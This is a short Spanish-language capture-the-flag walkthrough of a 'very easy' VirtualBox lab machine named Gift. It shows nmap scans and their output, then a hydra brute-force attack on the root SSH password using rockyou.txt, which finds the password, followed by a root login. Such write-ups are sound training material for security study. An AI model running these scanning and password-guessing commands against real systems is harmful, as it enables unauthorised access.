005 - Gift - wh01s17

Comenzamos con un escaneo general y luego uno específico de puertos:

nmap -p- -sS --min-rate 5000 -vvv -n -Pn -oG 01-allPorts 192.168.1.29

nmap -sC -sV -p22,80 -oN 02-targeted 192.168.1.29
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 19:15 -03
Nmap scan report for 192.168.1.29
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
|   3072 2c:1b:36:27:e5:4c:52:7b:3e:10:94:41:39:ef:b2:95 (RSA)
|   256 93:c1:1e:32:24:0e:34:d9:02:0e:ff:c3:9c:59:9b:dd (ECDSA)
|_  256 81:ab:36:ec:b1:2b:5c:d2:86:55:12:0c:51:00:27:d7 (ED25519)
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:60:F0:B3 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds

Revisamos el código fuente del sitio, los subdirectorios con dirb, la consola, etc., sin encontrar nada útil. Dado que el puerto 22 (SSH) está abierto y la máquina está catalogada como very easy, probamos fuerza bruta con hydra contra el usuario root usando rockyou.txt:

hydra -l root -P ~/Documentos/rockyou.txt ssh://192.168.1.29
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-17 19:27:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://192.168.1.29:22/
[STATUS] 176.00 tries/min, 176 tries in 00:01h, 14344222 to do in 1358:22h, 16 active
[22][ssh] host: 192.168.1.29   login: root   password: simple

La contraseña de root es simple. Iniciamos sesión por SSH directamente como root:

ssh root@192.168.1.29
root@192.168.1.29's password:
IM AN SSH SERVER
gift:~# whoami
root

Capturamos ambas flags.

Fin.